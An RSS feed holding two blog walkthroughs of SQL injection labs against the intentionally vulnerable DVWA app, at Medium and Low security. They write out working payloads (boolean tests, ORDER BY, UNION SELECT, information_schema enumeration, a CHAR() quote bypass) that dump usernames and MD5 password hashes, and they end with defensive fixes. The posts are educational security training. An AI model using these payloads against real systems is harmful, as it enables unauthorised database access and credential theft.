<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by zero_day on Medium]]></title>
        <description><![CDATA[Stories by zero_day on Medium]]></description>
        <link>https://medium.com/@z3r0-day?source=rss-3f741998b328------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tdzih6cA9YPvjOX_7Y6xmQ.png</url>
            <title>Stories by zero_day on Medium</title>
            <link>https://medium.com/@z3r0-day?source=rss-3f741998b328------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 07:25:40 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@z3r0-day/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DVWA Medium SQL Injection: Breaking the Query One Step at a Time ]]></title>
            <link>https://z3r0-day.medium.com/dvwa-medium-sql-injection-breaking-the-query-one-step-at-a-time-0be694f33292?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/0be694f33292</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Tue, 15 Sep 2026 23:36:24 GMT</pubDate>
            <atom:updated>2026-09-15T23:36:24.759Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>“It’s just a number field. What could possibly go wrong?”</blockquote><p>Famous last words. 😅</p><p>In this lab, I worked through <strong>SQL Injection at the Medium security level in Damn Vulnerable Web Application (DVWA)</strong>.</p><p>The goal wasn’t to copy a payload from a cheat sheet, paste it into the box, and celebrate.</p><p>I wanted to understand the thought process:</p><p><strong>What is the application doing?<br>Where is my input going?<br>What can I prove?<br>And what can I extract from that information?</strong></p><p>By the end, we went from:</p><pre>1</pre><p>to:</p><pre>database → tables → columns → users → password hashes</pre><p>And we did it manually.</p><blockquote><em>⚠️ </em><strong><em>Lab only:</em></strong><em> Everything in this article was performed against my local DVWA installation. Never test SQL injection against a system unless you have explicit authorization.</em></blockquote><h3>🧩 The Setup</h3><p>The vulnerable page gives us an input field where we can submit a user ID.</p><p>A normal request looks innocent enough:</p><pre>ID: 1</pre><p>The application responds:</p><pre>ID: 1<br>First name: admin<br>Surname: admin</pre><h3>NORMAL REQUEST</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*7J3VW1wO7S53i8isskopTg.png" /><figcaption>Figure 1 — Normal DVWA Medium SQL Injection request using 1.</figcaption></figure><p>So far, nothing exciting.</p><p>Just a normal application doing normal application things.</p><p>Time to annoy it. 😈</p><h3>👀 Before We Attack: What Does the Vulnerable Code Actually Look Like?</h3><p>This is the part I think is worth showing before throwing payloads at the application.</p><p>At the Medium security level, DVWA’s vulnerable SQL logic is essentially:</p><pre>$id = $_GET[&#39;id&#39;];</pre><pre>$id = mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;], $id);</pre><pre>$getid = &quot;SELECT first_name, last_name<br>          FROM users<br>          WHERE user_id = $id&quot;;</pre><pre>$result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;], $getid);</pre><p>The interesting line is:</p><pre>WHERE user_id = $id</pre><p>Notice the important detail:</p><p><strong>$id is inserted directly into the SQL statement.</strong></p><p>There are no quotes around it because the application expects a numeric ID.</p><p>So if the application receives:</p><pre>1</pre><p>the database effectively sees:</p><pre>SELECT first_name, last_name<br>FROM users<br>WHERE user_id = 1</pre><p>But if we supply:</p><pre>1 OR 1=1</pre><p>the resulting SQL becomes conceptually:</p><pre>SELECT first_name, last_name<br>FROM users<br>WHERE user_id = 1 OR 1=1</pre><p>And now our input isn’t merely <strong>data</strong> anymore.</p><p>It’s influencing the <strong>SQL logic itself</strong>.</p><p>That’s the vulnerability.</p><h3>VULNERABLE PHP CODE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*cwUBho1OH-EWMPxdDpkzOw.png" /><figcaption>Figure 2 — The vulnerable PHP code concatenates the user-controlled id parameter directly into the SQL query.</figcaption></figure><h3>🤔 Wait… Doesn’t mysqli_real_escape_string() Fix SQL Injection?</h3><p>This is where things get interesting.</p><p>The code does call:</p><pre>mysqli_real_escape_string()</pre><p>So why are we still able to manipulate the query?</p><p>Because <strong>escaping is context-dependent</strong>, and here the application is treating the value as a numeric SQL expression rather than putting it inside a quoted string.</p><p>The important lesson isn’t:</p><blockquote><em>“Escaping is always useless.”</em></blockquote><p>It’s:</p><blockquote><strong><em>Don’t rely on escaping as your primary SQL injection defense.</em></strong></blockquote><p>The robust solution is to use <strong>parameterized queries / prepared statements</strong> and keep user input separate from SQL syntax.</p><p>We’ll come back to the fix at the end.</p><h3>🔎 1. Is the Input Actually Going Into SQL?</h3><p>The first test was deliberately simple:</p><pre>1&#39;</pre><p>Instead of the normal response, the application returned a MySQL syntax error:</p><pre>You have an error in your SQL syntax; check the manual<br>that corresponds to your MySQL server version for the right<br>syntax to use near &#39;\&#39;&#39; at line 1</pre><h3>SINGLE QUOTE ERROR</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g4p55byoMHD831RtwHi-uQ.png" /><figcaption>Figure 3 — A single quote causes a MySQL syntax error.</figcaption></figure><p>This tells us something interesting.</p><p>The backend is talking to <strong>MySQL</strong>, and our input is interacting with the SQL expression.</p><p>But there is another clue hiding in the error:</p><pre>\&#39;</pre><p>The application is escaping the single quote.</p><p>So rather than immediately trying to force a string-based SQL injection, let’s ask a better question:</p><blockquote><strong><em>What happens if the input is treated as a number?</em></strong></blockquote><h3>🧠 2. Let’s Mess With the Logic</h3><p>I tested:</p><pre>1 AND 1=1</pre><p>The application returned the normal record.</p><p>Then:</p><pre>1 AND 1=2</pre><p>No record.</p><p>Interesting.</p><p>We just made the application behave differently depending on whether our condition was <strong>true or false</strong>.</p><p>Then came the classic:</p><pre>1 OR 1=1</pre><p>Suddenly…</p><p>💥 <strong>Everybody gets invited to the party.</strong></p><p>The application returned multiple users:</p><pre>admin<br>Gordon Brown<br>Hack Me<br>Pablo Picasso<br>Bob Smith<br>user</pre><h3>OR 1=1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*P6L4vbfysd8lknClO7PLLg.png" /><figcaption>Figure 4 — Boolean manipulation causes the query to return multiple records.</figcaption></figure><p>At this point our working model of the backend query looked something like:</p><pre>SELECT first_name, last_name<br>FROM users<br>WHERE user_id = &lt;our input&gt;</pre><p>Notice something important.</p><p>Our input doesn’t appear to be inside quotes.</p><p>We’re dealing with a <strong>numeric SQL context</strong>.</p><p>That little observation is going to save us a lot of headaches later.</p><h3>🧮 3. How Many Columns Are We Dealing With?</h3><p>Before using UNION, we need to know how many columns the original query returns.</p><p>So I started counting.</p><p>First:</p><pre>1 ORDER BY 1</pre><p>Works.</p><p>Then:</p><pre>1 ORDER BY 2</pre><p>Also works.</p><p>Okay…</p><pre>1 ORDER BY 3</pre><p>💥 Error.</p><p>The application reported an error similar to:</p><pre>Unknown column &#39;3&#39; in &#39;order clause&#39;</pre><h3>ORDER BY 3 ERROR</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*S1cFjUK3uqkxXuah3Kzh3Q.png" /><figcaption>Figure 5 — ORDER BY 3 produces an error, indicating that the query has only two columns.</figcaption></figure><p>So our little experiment gives us:</p><pre>ORDER BY 1 → ✅<br>ORDER BY 2 → ✅<br>ORDER BY 3 → ❌</pre><p>Therefore:</p><blockquote><strong><em>The original query returns 2 columns.</em></strong></blockquote><p>This matters because a UNION SELECT needs a compatible number of columns.</p><p>Time to see if we can join our own query to the original one.</p><h3>🧪 4. UNION — Now Things Get Interesting</h3><p>Our first UNION test:</p><pre>1 UNION SELECT 1,2</pre><p>And…</p><p>It worked.</p><p>The application displayed:</p><pre>First name: 1<br>Surname: 2</pre><h3>UNION SUCCESS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*dKGo9_dBIOwjoDoSZM88LA.png" /><figcaption>Figure 6 — Successful UNION injection with two attacker-controlled values reflected in the response.</figcaption></figure><p>This is a big moment.</p><p>We now know:</p><pre>Original query → 2 columns<br>             ↓<br>UNION SELECT  → 2 columns<br>             ↓<br>Column 1      → First name<br>Column 2      → Surname</pre><p>Both output positions are under our control.</p><p>So instead of putting boring numbers there…</p><p>What if we ask the database to tell us something useful?</p><h3>🗄️ 5. Who Are You, Database?</h3><p>MySQL gives us useful functions for identifying the current database and version.</p><p>So I tried:</p><pre>1 UNION SELECT database(),version()</pre><p>The response:</p><pre>First name: dvwa<br>Surname: 5.1.41-3ubuntu12.6-log</pre><h3>DATABASE + VERSION</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*7wD-rDK7hMj7to8_094I-A.png" /><figcaption>Figure 7 — Identifying the current database and MySQL version through UNION injection.</figcaption></figure><p>Now we know:</p><pre>Database → dvwa<br>DBMS     → MySQL<br>Version  → 5.1.41</pre><p>We’re no longer just proving that SQL injection exists.</p><p>We’re starting to map the database.</p><h3>🗺️ 6. Let’s Map the Database</h3><p>The obvious question now:</p><blockquote><strong><em>What tables exist?</em></strong></blockquote><p>Instead of guessing table names, MySQL provides metadata through:</p><pre>information_schema</pre><p>I queried the table metadata:</p><pre>1 UNION SELECT table_name,table_schema<br>FROM information_schema.tables<br>WHERE table_schema=database()</pre><p>The application returned:</p><pre>guestbook<br>users</pre><h3>TABLE ENUMERATION</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*V2r-p_oeQvobzwQPGKUgPQ.png" /><figcaption>Figure 8 — Enumerating tables belonging to the current DVWA database.</figcaption></figure><p>Our database map is starting to look like this:</p><pre>dvwa<br>├── guestbook<br>└── users</pre><p>And honestly…</p><p>users looks way more interesting than guestbook. 👀</p><h3>🔬 7. What’s Inside the users Table?</h3><p>Finding a table is only half the job.</p><p>Now we need to know what columns it contains.</p><p>MySQL’s metadata again comes to the rescue:</p><pre>information_schema.columns</pre><p>But remember our earlier problem?</p><p>The application escapes single quotes.</p><p>So instead of:</p><pre>WHERE table_name=&#39;users&#39;</pre><p>I used:</p><pre>WHERE table_name=CHAR(117,115,101,114,115)</pre><p>If you’re wondering what the heck that means, don’t worry.</p><p>CHAR() converts character codes into text:</p><pre>117 → u<br>115 → s<br>101 → e<br>114 → r<br>115 → s</pre><p>Therefore:</p><pre>CHAR(117,115,101,114,115)</pre><p>becomes:</p><pre>users</pre><p>No quote required.</p><p>The resulting query:</p><pre>1 UNION SELECT column_name,table_name<br>FROM information_schema.columns<br>WHERE table_name=CHAR(117,115,101,114,115)</pre><p>returned six columns.</p><h3>COLUMN ENUMERATION</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2__NbbMSvGJioN0RxDk6vw.png" /><figcaption>Figure 9 — Enumerating the columns belonging to the users table.</figcaption></figure><p>The table structure:</p><pre>users<br>├── user_id<br>├── first_name<br>├── last_name<br>├── user<br>├── password<br>└── avatar</pre><p>And now we have arrived at the interesting part.</p><p>There is a column called:</p><pre>password</pre><p>👀</p><h3>💀 8. The Final Query</h3><p>At this point we know:</p><pre>Database → dvwa<br>Table    → users<br>Columns  → user<br>           password</pre><p>And we know our UNION needs exactly <strong>two columns</strong>.</p><p>So let’s put the pieces together:</p><pre>1 UNION SELECT user,password FROM users</pre><p>And the application gives us:</p><pre>admin    → 21232f297a57a5a743894a0e4a801fc3<br>gordonb  → e99a18c428cb38d5f260853678922e03<br>1337     → 8d3533d75ae2c3966d7e0d4fcc69216b<br>pablo    → 0d107d09f5bbe40cade3de5c71e9e9b7<br>smithy   → 5f4dcc3b5aa765d61d8327deb882cf99<br>user     → ee11cbb19052e40b07aac0ca060c23ee</pre><h3>CREDENTIAL DATA EXPOSED</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*IiMvSDtGvtlP1QYeFEQTJA.png" /><figcaption>Figure 10 — UNION-based SQL injection exposing usernames and stored password hashes from the users table.</figcaption></figure><p>And there it is.</p><p>A simple ID parameter led us all the way to credential-related data.</p><h3>🧩 Let’s Rewind the Attack</h3><p>Here’s the entire process:</p><pre>┌──────────────────┐<br>                 │   Input: 1       │<br>                 └────────┬─────────┘<br>                          ↓<br>                 Test SQL behavior<br>                          ↓<br>                 Confirm injection<br>                          ↓<br>                Identify SQL context<br>                          ↓<br>                  ORDER BY tests<br>                          ↓<br>                   2 columns<br>                          ↓<br>                 UNION SELECT 1,2<br>                          ↓<br>                Control both outputs<br>                          ↓<br>               database() / version()<br>                          ↓<br>                    Database: dvwa<br>                          ↓<br>             information_schema.tables<br>                          ↓<br>              guestbook + users<br>                          ↓<br>            information_schema.columns<br>                          ↓<br>             Find user + password<br>                          ↓<br>              Extract password hashes</pre><p>The important thing is that <strong>no single payload solved the lab</strong>.</p><p>Each test answered a question.</p><h3>🧠 What I Actually Learned</h3><h3>1. Don’t blindly throw payloads</h3><p>Instead of:</p><blockquote><em>“Let’s try this huge SQLi payload I found online.”</em></blockquote><p>Think:</p><blockquote><em>“What question am I trying to answer?”</em></blockquote><p>For example:</p><pre>AND 1=1</pre><p>asks:</p><blockquote><em>Does a true condition behave differently?</em></blockquote><pre>ORDER BY 3</pre><p>asks:</p><blockquote><em>Does the query have at least three columns?</em></blockquote><pre>UNION SELECT 1,2</pre><p>asks:</p><blockquote><em>Can I append another two-column SELECT?</em></blockquote><p>That mindset is much more useful than memorizing payloads.</p><h3>2. Error messages can leak useful information</h3><p>The initial MySQL error immediately gave us clues about:</p><ul><li>The database technology</li><li>How the input was being processed</li><li>The fact that quotes were being escaped</li></ul><p>Errors aren’t always just annoying.</p><p>Sometimes they’re breadcrumbs. 🍞</p><h3>3. Understand the application’s SQL context</h3><p>This was one of the biggest lessons.</p><p>The input behaved like it was entering:</p><pre>WHERE user_id = &lt;input&gt;</pre><p>rather than:</p><pre>WHERE user_id = &#39;&lt;input&gt;&#39;</pre><p>That difference completely changes how we approach the injection.</p><h3>4. information_schema is basically the database&#39;s map</h3><p>Once we knew MySQL was being used, information_schema gave us a structured way to discover:</p><pre>databases<br>    ↓<br>tables<br>    ↓<br>columns<br>    ↓<br>data</pre><p>Instead of guessing.</p><h3>🛡️ So How Would You Fix This?</h3><p>The proper defense isn’t:</p><blockquote><em>“Let’s block </em><em>UNION.”</em></blockquote><p>Attackers can use many different SQL techniques.</p><p>The application should prevent user input from becoming part of the SQL syntax in the first place.</p><p>The primary defense is <strong>parameterized queries / prepared statements</strong>.</p><p>Instead of constructing SQL by concatenating user input, the application should separate the SQL statement from the supplied value.</p><p>Other useful defenses include:</p><ul><li>Input validation</li><li>Least-privilege database accounts</li><li>Avoiding unnecessary database permissions</li><li>Safe error handling</li><li>Security testing during development</li></ul><p>And passwords should never be stored using weak legacy hashing such as unsalted MD5. Modern password storage should use a dedicated password-hashing algorithm designed for passwords, with appropriate work factors and salts.</p><h3>🎯 Final Takeaway</h3><p>The biggest lesson from this lab wasn’t:</p><blockquote><em>“I learned a UNION payload.”</em></blockquote><p>It was:</p><blockquote><strong><em>SQL injection is a process of asking questions.</em></strong></blockquote><p>We started with:</p><pre>What does 1 do?</pre><p>Then:</p><pre>Can I influence the logic?</pre><p>Then:</p><pre>How many columns exist?</pre><p>Then:</p><pre>Can I control the output?</pre><p>Then:</p><pre>Which database am I talking to?</pre><p>Then:</p><pre>What tables exist?</pre><p>Then:</p><pre>What columns exist?</pre><p>And finally:</p><pre>What sensitive data can I access?</pre><p>That’s the difference between <strong>copying SQLi payloads</strong> and actually understanding SQL injection.</p><p>And now that we’ve done the whole thing manually…</p><h3>🐍 Next stop: SQLmap.</h3><p>Because manually enumerating every piece of a database is a fantastic way to learn.</p><p>Doing it 500 times?</p><p>Yeah…</p><p><strong>I’ll let the robot handle that part.</strong> 😂</p><h3>🔗 References</h3><ul><li><a href="https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;opi=89978449&amp;url=https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html&amp;ved=2ahUKEwj-q8bC3_GWAxW7cmwGHcNVOZAQFnoECCUQAQ&amp;usg=AOvVaw2r2UE8tyFVFhCd6HsXz7cH">OWASP — SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;opi=89978449&amp;url=https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection&amp;ved=2ahUKEwjyz9zT3_GWAxXmRWcHHSFcL_wQFnoECBsQAQ&amp;usg=AOvVaw03zybissD-_Rn8h-pFhqU_">OWASP — Web Security Testing Guide: SQL Injection</a></li><li><a href="https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;opi=89978449&amp;url=https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html&amp;ved=2ahUKEwj6oLva3_GWAxVXd2wGHYOPI2sQFnoECB4QAQ&amp;usg=AOvVaw3LQ-LFFsbdO2N3HxyuE2i8">OWASP — Query Parameterization Cheat Sheet</a></li><li><a href="https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;opi=89978449&amp;url=https://github.com/digininja/DVWA&amp;ved=2ahUKEwi824fi3_GWAxWMSWwGHYz3HWMQFnoECCgQAQ&amp;usg=AOvVaw3bul_N7-si1Rwl1QyV53SK">Damn Vulnerable Web Application (DVWA)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0be694f33292" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Turned One Tiny SQL Injection Into a Full Database Walkthrough — DVWA SQLi Lab]]></title>
            <link>https://z3r0-day.medium.com/i-turned-one-tiny-sql-injection-into-a-full-database-walkthrough-dvwa-sqli-lab-009a6579e65d?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/009a6579e65d</guid>
            <category><![CDATA[research]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Sun, 30 Aug 2026 10:09:34 GMT</pubDate>
            <atom:updated>2026-08-30T10:09:34.327Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I went from a single quote to discovering tables, columns, usernames, and password hashes</h3><p>I’ve been spending a lot of time learning web application security lately, and one thing I’ve realized is that SQL Injection looks much more complicated when you only see the final payload.</p><p>You see something like:</p><pre>&#39; UNION SELECT database(),version()#</pre><p>and think:</p><p><strong>“Okay… but how did they even know to use that?”</strong></p><p>That was exactly what I wanted to understand.</p><p>So instead of just memorizing SQLi payloads, I decided to slow down and work through a <strong>DVWA SQL Injection lab at Low security</strong>, step by step.</p><p>And this time, I focused less on <em>“What payload should I try?”</em> and more on:</p><blockquote><strong><em>“What does the application’s response tell me about what I should try next?”</em></strong></blockquote><p>That small change in mindset made the entire exercise much easier to understand.</p><h3>🧪 My Lab Setup</h3><p>For this exercise, I used:</p><ul><li><strong>Damn Vulnerable Web Application (DVWA)</strong></li><li>Security Level: <strong>Low</strong></li><li>Vulnerability: <strong>SQL Injection</strong></li><li>Database: <strong>MySQL/MariaDB</strong></li><li>Environment: <strong>Local lab</strong></li></ul><blockquote><em>⚠️ </em><strong><em>Disclaimer:</em></strong><em> Everything shown in this article was performed against my own intentionally vulnerable DVWA lab. SQL injection techniques should only be used against applications you own or have explicit permission to test.</em></blockquote><h3>1. I Started With Something Very Simple</h3><p>The vulnerable page accepts an ID.</p><p>Normally, I could enter:</p><pre>1</pre><p>and the application would return information for that user.</p><p>But when testing for SQL injection, one of the first things I wanted to know was:</p><p><strong>Is my input actually being interpreted as part of an SQL query?</strong></p><p>So I tried a single quote:</p><pre>1&#39;</pre><p>And the application threw a database-related error.</p><h3>That error was my first clue.</h3><p>It suggested that my input was reaching the SQL query without being safely handled.</p><p>I wasn’t done yet, though.</p><p>An error doesn’t automatically tell me how the underlying query works.</p><p>So I started asking questions.</p><h3>Initial SQL Injection Error</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_OmaBfXxfxdjeF39mg5jfQ.png" /><figcaption><em>Figure 1: Supplying a single quote causes the application to return a database error.</em></figcaption></figure><h3>2. How Many Columns Does the Query Have?</h3><p>This was one of the first important questions.</p><p>If I wanted to use a UNION SELECT, I needed to know how many columns the original SQL query was returning.</p><p>I started testing ORDER BY.</p><p>First:</p><pre>1&#39; ORDER BY 1#</pre><p>Then:</p><pre>1&#39; ORDER BY 2#</pre><p>Both worked.</p><p>Then I tried:</p><pre>1&#39; ORDER BY 3#</pre><p>And this time:</p><blockquote><strong><em>Unknown column ‘3’ in ‘order clause’</em></strong></blockquote><p>That was useful.</p><p>Instead of treating the error as a failure, I treated it as information.</p><p>It strongly suggested that the original query had:</p><pre>2 columns</pre><p>So now I had my first structural clue.</p><h3>3. Finding Out Which Columns I Could Control</h3><p>Knowing that there were two columns was useful, but I still needed to determine whether I could place arbitrary values into the returned results.</p><p>So I tested a UNION query using two string values:</p><pre>1&#39; UNION SELECT &#39;test&#39;,&#39;test&#39;#</pre><p>The application displayed the values.</p><p>That confirmed something important:</p><p><strong>I had two output positions that could display string data.</strong></p><p>My mental model was now becoming:</p><pre>Original query<br>      ↓<br>   2 columns<br>      ↓<br>UNION SELECT<br>      ↓<br>2 values<br>      ↓<br>Displayed by application</pre><p>At this point, I knew I had a working UNION-based SQL injection.</p><h3>Confirming the Two Output Columns</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NU6EmQUTsH9_qvb9a_F_ng.png" /><figcaption><em>Figure 2: Testing a UNION query with two string values.</em></figcaption></figure><h3>4. Instead of Guessing, I Asked the Database</h3><p>This was probably my favorite part of the exercise.</p><p>I could have started guessing database names, table names, and column names.</p><p>But why guess when the database can tell me?</p><p>I used:</p><pre>1&#39; UNION SELECT database(), version()#</pre><p>And the application returned:</p><pre>First name: dvwa<br>Surname: 5.1.41-3ubuntu12.6-log</pre><p>Boom.</p><p>I now knew:</p><pre>Database → dvwa<br>Version  → 5.1.41-3ubuntu12.6-log</pre><p>That felt like an important transition.</p><p>I wasn’t just injecting random SQL anymore.</p><p>I was <strong>interrogating the database</strong>.</p><h3>Database and Version</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxHgM3ihYKUNCCRCvp5uJQ.png" /><figcaption><em>Figure 3: Using database() and version() to identify the current database and database version.</em></figcaption></figure><h3>5. What Tables Exist?</h3><p>Now that I knew the database was called dvwa, the next obvious question was:</p><blockquote><strong><em>What tables are inside it?</em></strong></blockquote><p>This is where information_schema became really useful.</p><p>I queried the database metadata:</p><pre>1&#39; UNION SELECT table_name,&#39;X&#39;<br>FROM information_schema.tables<br>WHERE table_schema=&#39;dvwa&#39;#</pre><p>And I started getting results.</p><p>The tables included:</p><pre>admin<br>guestbook<br>users</pre><p>Now things were getting interesting.</p><p>Especially:</p><pre>users</pre><h3>Enumerating Tables</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R3fk18hTmi-Ab56j3EOyIQ.png" /><figcaption><em>Figure 4: Enumerating tables belonging to the DVWA database.</em></figcaption></figure><h3>6. The users Table Looked Interesting</h3><p>Finding a users table immediately raised another question:</p><blockquote><strong><em>What columns does it contain?</em></strong></blockquote><p>Again, I didn’t want to guess.</p><p>I queried information_schema.columns:</p><pre>1&#39; UNION SELECT column_name,&#39;a&#39;<br>FROM information_schema.columns<br>WHERE table_schema=&#39;dvwa&#39;<br>AND table_name=&#39;users&#39;#</pre><p>The results showed:</p><pre>user_id<br>first_name<br>last_name<br>user<br>password<br>avatar</pre><p>Now I had the structure of the table.</p><p>And two columns immediately caught my attention:</p><pre>user<br>password</pre><h3>Enumerating users Columns</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kw4b9gUbbR2YjXQXlZzOKg.png" /><figcaption><em>Figure 5: Discovering the columns available in the DVWA users table.</em></figcaption></figure><h3>7. The Moment It All Came Together</h3><p>Now I had everything I needed.</p><p>I knew:</p><ul><li>The database name</li><li>The table name</li><li>The column names</li><li>The number of output columns</li><li>Which columns could display strings</li></ul><p>So I queried:</p><pre>1&#39; UNION SELECT user,password FROM dvwa.users#</pre><p>And the application started returning:</p><pre>admin     → 21232f297a57a5a743894a0e4a801fc3<br>gordonb   → e99a18c428cb38d5f260853678922e03<br>1337      → 8d3533d75ae2c3966d7e0d4fcc69216b<br>pablo     → 0d107d09f5bbe40cade3de5c71e9e9b7<br>smithy    → 5f4dcc3b5aa765d61d8327deb882cf99<br>user      → ee11cbb19052e40b07aac0ca060c23ee</pre><p>That was the point where the entire attack chain finally made sense.</p><p>I started with:</p><pre>1&#39;</pre><p>and ended up retrieving:</p><pre>username → password hash</pre><p>from the database.</p><h3>Extracting Usernames and Password Hashes</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DOYakPHGtA68N1c2Ph39eQ.png" /><figcaption><em>Figure 6: Retrieving usernames and password hashes through the UNION query.</em></figcaption></figure><h3>8. Wait… Those Passwords Aren’t Plaintext</h3><p>One thing I noticed immediately was that the passwords weren’t displayed as normal words.</p><p>Instead, they looked like:</p><pre>21232f297a57a5a743894a0e4a801fc3</pre><p>and:</p><pre>5f4dcc3b5aa765d61d8327deb882cf99</pre><p>These are 32-character hexadecimal strings.</p><p>That strongly indicates <strong>MD5</strong>.</p><p>For example:</p><pre>21232f297a57a5a743894a0e4a801fc3</pre><p>is the well-known MD5 representation of:</p><pre>admin</pre><p>And:</p><pre>5f4dcc3b5aa765d61d8327deb882cf99</pre><p>corresponds to:</p><pre>password</pre><p>This was another useful lesson:</p><h3>SQL Injection doesn’t necessarily give you plaintext credentials.</h3><p>It may give you whatever the application stores.</p><p>In this case:</p><pre>Database<br>   ↓<br>users table<br>   ↓<br>password column<br>   ↓<br>MD5 hashes</pre><p>And because MD5 is an outdated choice for password storage, weak passwords may be recoverable through offline techniques.</p><h3>9. Looking Back: The Attack Wasn’t Random</h3><p>This is probably the biggest thing I took away from this lab.</p><p>Before doing the exercise, SQL injection could look like this:</p><pre>&#39;<br>UNION SELECT<br>information_schema<br>#</pre><p>A bunch of weird syntax.</p><p>But after working through it step by step, I started seeing a pattern.</p><p>Every action answered a question.</p><h3>Question 1</h3><p><strong>Can I break the SQL query?</strong></p><pre>1&#39;</pre><p>↓</p><p>Database error.</p><h3>Question 2</h3><p><strong>How many columns does the query return?</strong></p><pre>ORDER BY 1<br>ORDER BY 2<br>ORDER BY 3</pre><p>↓</p><p>Two columns.</p><h3>Question 3</h3><p><strong>Can I inject values into those columns?</strong></p><pre>UNION SELECT &#39;test&#39;,&#39;test&#39;</pre><p>↓</p><p>Yes.</p><h3>Question 4</h3><p><strong>Which database am I working with?</strong></p><pre>database()</pre><p>↓</p><p>dvwa</p><h3>Question 5</h3><p><strong>What tables exist?</strong></p><pre>information_schema.tables</pre><p>↓</p><p>admin, guestbook, users</p><h3>Question 6</h3><p><strong>What columns does </strong><strong>users contain?</strong></p><pre>information_schema.columns</pre><p>↓</p><p>user, password, etc.</p><h3>Question 7</h3><p><strong>What data is stored there?</strong></p><pre>SELECT user,password<br>FROM dvwa.users</pre><p>↓</p><p>Usernames + password hashes.</p><h3>The Complete Attack Flow</h3><p>Here’s the entire journey in one diagram:</p><pre>SQL Injection<br>                   │<br>                   ▼<br>              1&#39; causes error<br>                   │<br>                   ▼<br>          Determine column count<br>                   │<br>                   ▼<br>              2 columns<br>                   │<br>                   ▼<br>        Test UNION SELECT output<br>                   │<br>                   ▼<br>          Identify database<br>                   │<br>                   ▼<br>                dvwa<br>                   │<br>                   ▼<br>          Enumerate tables<br>                   │<br>                   ▼<br>      admin / guestbook / users<br>                   │<br>                   ▼<br>        Enumerate users columns<br>                   │<br>                   ▼<br>       user / password / etc.<br>                   │<br>                   ▼<br>        Retrieve stored values<br>                   │<br>                   ▼<br>          Username + hash</pre><p>This is much more useful to me than simply memorizing a payload.</p><h3>Why Was DVWA Vulnerable?</h3><p>The reason this works at DVWA’s Low security level is that the application intentionally demonstrates unsafe handling of SQL input.</p><p>The core problem is essentially:</p><pre>User Input<br>    ↓<br>SQL Query<br>    ↓<br>Database</pre><p>without properly separating <strong>SQL instructions</strong> from <strong>user-controlled data</strong>.</p><p>A real application should instead use parameterized queries / prepared statements.</p><p>Conceptually:</p><pre>SQL statement<br>     +<br>parameterized value<br>     ↓<br>Database</pre><p>This prevents user input from being interpreted as part of the SQL syntax.</p><h3>How Developers Should Prevent SQL Injection</h3><p>The main defense is straightforward:</p><h3>1. Use parameterized queries</h3><p>Never construct SQL queries by directly concatenating untrusted input.</p><h3>2. Validate input</h3><p>If a parameter should contain an integer, validate that it actually is an integer.</p><h3>3. Use least-privilege database accounts</h3><p>The web application shouldn’t have unnecessary database privileges.</p><h3>4. Store passwords securely</h3><p>Don’t use MD5 for password storage.</p><p>Modern applications should use dedicated password-hashing algorithms such as:</p><ul><li>Argon2id</li><li>bcrypt</li><li>scrypt</li></ul><h3>5. Avoid exposing database errors</h3><p>Detailed 